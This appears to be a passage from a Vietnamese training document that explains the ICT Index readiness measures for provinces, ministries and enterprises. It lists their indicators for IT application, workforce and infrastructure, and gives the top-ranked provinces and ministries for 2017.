Ở Việt Nam có các chỉ số ICT theo các cấp độ sau:

1. ICT Index của Tỉnh - Thành: Chỉ số về độ sẵn sàng cho ứng dụng và phát triển

CNTT-TT của Tỉnh - Thành. (Bao gồm 2 nhóm chỉ số: hạ tầng và ứng dụng)

2. ICT Index của Bộ - Ngành: Chỉ số về độ sẵn sàng cho ứng dụng và phát triển

CNTT-TT của Bộ-Ngành. (Bao gồm 2 nhóm chỉ số: hạ tầng và ứng dụng)

3. ICT Index của Doanh nghiệp: Chỉ số về năng lực sản xuất, kinh doanh trong lĩnh

vực CNTT-TT của Doanh nghiệp. (Bao gồm 2 nhóm chỉ số: kết quả sản xuất kinh doanh và

năng lực cạnh tranh)

2. Nội dung 1.Ứng dụng CNTT (thảo luận về vấn đề phát triển ứng dụng CNTT phục vụ công việc – số hóa quản lý thủ tục hành chánh,…)

o Sử dụng thư điện tử trong công việc; o Triển khai các ứng dụng cơ bản; o Xây dựng các CSDL chuyên ngành; o Sử dụng văn bản điện tử; o Ứng dụng phần mềm nguồn mở.

2.Nhân lực CNTT (tham gia các lớp tập huấn, đào tạo để phát triển nhân lực chất lượng cao)

o Hạ tầng nhân lực xã hội:

Tỷ lệ người lớn biết đọc, biết viết. Tỷ lệ học sinh trong độ tuổi đi học đến trường. Tỷ lệ các trường phổ thông có dạy tin học. Tỷ lệ trường đại học, cao đẳng có đào tạo chuyên ngành CNTT.

o Hạ tầng nhân lực các cơ quan nhà nước: Tỷ lệ cán bộ chuyên trách CNTT; Tỷ lệ cán bộ chuyên trách có trình độ đại học trở lên về CNTT. Tỷ lệ cán bộ chuyên trách về an toàn thông tin.

Page 128: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

128

Tỷ lệ công chức, viên chức được tập huấn về phần mềm nguồn mở (PMNM)

Tỷ lệ công chức, viên chức trong các CQNN được tập huấn về ATTT.

3.Phát triển hạ tầng CNTT (số liệu năm 2017)

o Hạ tầng kỹ thuật xã hội: gồm 08 chỉ tiêu thành phần.

Tỷ lệ điện thoại cố định/100 dân; Tỷ lệ điện thoại di động/100 dân; Tỷ lệ thuê bao Internet/100 dân; Tỷ lệ thuê bao băng rộng cố định/100 dân; Tỷ lệ thuê bao băng rộng không dây/100 dân; Tỷ lệ hộ gia đình có máy tính; Tỷ lệ hộ gia đình có kết nối Internet băng rộng; Tỷ lệ doanh nghiệp có kết nối Internet băng rộng.

o Hạ tầng kỹ thuật của các cơ quan nhà nước (CQNN): gồm 04 chỉ tiêu thành

phần: Tỷ lệ máy tính/CBCCVC trong các CQNN của tỉnh; Tỷ lệ băng thông/CBCCVC trong các CQNN của tỉnh; Tỷ lệ CQNN của tỉnh có kết nối WAN của tỉnh hoặc mạng chuyên

dùng của Chính phủ; Triển khai các giải pháp an toàn thông tin và an toàn dữ liệu trong các

CQNN của tỉnh

3.Ví dụ về Việt Nam ICT Index 2017: Thứ hạng mức độ sẵn sàng cho phát triển và ứng dụng CNTT ở Việt Nam trong các

tỉnh, thành phốđược thực hiện bởi Hội Tin học Việt Nam cùng Bộ Thông tin và

Truyền thông.

- Hạng 1 - Đà Nẳng, ICT Index: 0,9351

- Hạng 2- Tp Hồ Chí Minh, ICT Index: 0,6920

- Hạng 3 - Hà Nội, ICT Index: 0,6688

Thứ hạng mức độ sẵn sàng cho phát triển và ứng dụng CNTT ở Việt Nam của các

bộ, cơ quan ngang bộ

- Hạng 1 – bộ tài chính, ICT Index: 0,8355

- Hạng 2 – Bảo hiểm xã hội việt nam, ICT Index: 0,7907

- Hạng 3 – Bộ giáo dục và đào tạo: 0,6750

Note: Các thứ hạng được tính dựa vào Chỉ số "Hạ tầng kỹ thuật CNTT", Chỉ số "Hạ

tầng nhân lực CNTT" và Chỉ số "Ứng dụng CNTT"